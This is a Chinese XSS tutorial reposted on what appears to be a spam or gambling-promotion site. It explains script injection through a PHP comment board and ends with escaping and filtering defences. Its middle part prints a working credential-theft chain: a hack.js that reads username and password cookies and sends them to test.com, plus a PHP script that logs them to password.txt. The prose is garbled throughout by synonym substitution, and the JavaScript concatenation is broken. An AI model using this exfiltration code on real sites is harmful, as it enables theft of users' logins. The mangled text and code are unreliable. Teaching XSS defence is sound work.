主页 > 2号站 > 正文
跨站脚本进犯(Cross Site Script为了差异于CSS简称为XSS)指的是歹意进犯者往Web页面里刺进歹意html代码,当用户阅读该页之时,嵌入其间Web里边的html代码会被履行,然后到达歹意用户的特别意图。
当在呼应页面中回来用户输入的 JavaScript 代码时,阅读器便会履行该代码。进犯者往往运用该原理向网页中刺进歹意代码,并生成歹意链接诱运用户点击。当用户点击该衔接时,便会生成对 Web 站点的恳求,其间的参数值含有歹意的 JavaScript 代码。
假如 Web 站点将这个参数值嵌入在呼应的 HTML 页面中(这正是站点问题的实质地点),歹意代码便会在用户阅读器中运转,到达进犯者的意图。
1.jpg
Web 站点中所包括的脚本直接将用户在 HTML 页面中的输入(通常是参数值)回来,而不预先加以整理。 假如脚本在呼应页面中回来由 JavaScript 代码组成的输入,阅读器便能够履行此输入。 因而,有或许构成指向站点的若干链接,且其间一个参数包括歹意的 JavaScript 代码。 该代码将在站点上下文中(由用户阅读器)履行,这使得该代码有权拜访用户在该站点中具有拜访权的 cookie,以及站点中其他可通过用户阅读器拜访的窗口。
进犯按照下列办法继续进行:进犯者引诱合法用户单击进犯者生成的链接。 用户单击该链接时,便会生成关于 Web 站点的恳求,其间的参数值含有歹意的 JavaScript 代码。 假如 Web 站点将这个参数值嵌入在呼应的 HTML 页面中(这正是站点问题的实质地点),歹意代码便会在用户阅读器中运转。
一个简略的留言板
咱们有个页面用于答应用户宣布留言,然后在页面底部显现留言列表
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: dashed 1px #ccc;
margin: 4px;
}
Your Comment
Nick Name:
Comment:
Comments
require('/components/comments.php');
if(!empty($_POST['name'])){
addElement($_POST['name'],$_POST['comment']);
}
renderComments();
?>
addElement()办法用于增加新的留言,而renderComments()办法用于展留言列表,网页看起来是这样的。
image
XSS
由于咱们彻底信任了用户输入,但有些心怀叵测的用户会像这样的输入
image
这样无论是谁拜访这个页面的时分操控台都会输出“Hey you are a fool fish!”,假如这只是个歹意的小打趣,有些人做的工作就不可爱了,有些用户会运用这个缝隙盗取用户信息、诱哄人翻开歹意网站或许下载歹意程序等。
2.jpg
运用xss盗取用户名暗码
当然这个示例很简略,简直进犯不到任何网站,只是看看其原理。咱们知道许多登陆界面都有记住用户名、暗码的功用便运用户下次登录,有些网站是直接用明文记载用户名、暗码,歹意用户注册账户登录后运用简略东西查看cookie结构称号后,假如网站有xss缝隙,那么简略的运用jsonp就能够获取其它用户的用户名、暗码了。
歹意用户会这么输入
image
咱们看看 http://test.com/hack.js 里藏了什么?
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username=' username '&password=' password;
document.body.appendChild(script);
几句简略的javascript,获取cookie中的用户名暗码,运用jsonp把向 http://test.com/index.php
发送了一个get恳求
http://test.com/index.php
if(!empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$usernamet $passwordrn");
flock($fp, LOCK_UN);
fclose($fp);
}
?>
这样歹意用户就把拜访留言板的用户的信息盗取了
怎样防备
上面演示的是一个十分简略的XSS进犯,还有许多荫蔽的办法,可是其中心都是运用了脚本注入,因而咱们解决办法其实很简略,不信任用户输入,对特别字符如”<”,”>”转义,就能够从根本上避免这一问题,当然许多解决方案都对XSS做了特定约束,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交主动做了XSS验证。但防不胜防,总有些聪明的歹意用户会到咱们的网站搞破坏,对自己站点不放心能够看看这个XSS跨站测验代码大全试试站点是否安全。
一、 过滤用户输入的内容,查看用户输入的内容中是否有不合法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、 (加号)等。
二、严格操控输出
能够运用下面这些函数对呈现xss缝隙的参数进行过滤
1、htmlspecialchars() 函数,用于转义处理在页面上显现的文本。
2、htmlentities() 函数,用于转义处理在页面上显现的文本。
3、strip_tags() 函数,过滤掉输入、输出里边的歹意标签。
4、header() 函数,运用header(“Content-type:application/json”); 用于操控 json 数据的头部,不用于阅读。
5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。
6、intval() 函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下,要运用一些常用的 html 标签,以美化页面显现,如留言、小纸条。那么在这样的情况下,要选用白名单的办法运用合法的标签显现,过滤掉不合法的字符。
各言语示例:
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode() 或功用更强的 Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)
Node.js的node-validator。
猜你喜欢
- 2020-07-29 05:25:21 二号站安卓app下载_【2019seo教程】网站内容优化
- 2020-05-02 05:26:05 天富电脑版登录_「a h2 对seo的影响」 目录文件名
- 2020-04-21 05:25:08 二号站手机测速_「seo的建站步骤」 对网站进行
- 2号站主管Q:2347-660
-
- 10-31test
- 10-27凤凰二号站代理_新闻详情
- 10-27二号站主管注册_新闻详情
- 10-26二号站登录网址_新闻详情
- 10-26凤凰二号站官网_新闻详情
- 10-25凤凰联盟二号站_新闻详情
- 10-242号站_新闻详情
- 10-23二号站电脑测速_新闻详情
- 10-22二号站直属代理注册_新闻详情
- 10-21二号站苹果手机版下载_新闻详情
- 10-31test
- 10-27凤凰二号站代理_新闻详情
- 10-27二号站主管注册_新闻详情
- 10-26二号站登录网址_新闻详情
- 10-26凤凰二号站官网_新闻详情
- 10-25凤凰联盟二号站_新闻详情
- 10-242号站_新闻详情
- 10-23二号站电脑测速_新闻详情
- 10-22二号站直属代理注册_新闻详情
- 10-21二号站苹果手机版下载_新闻详情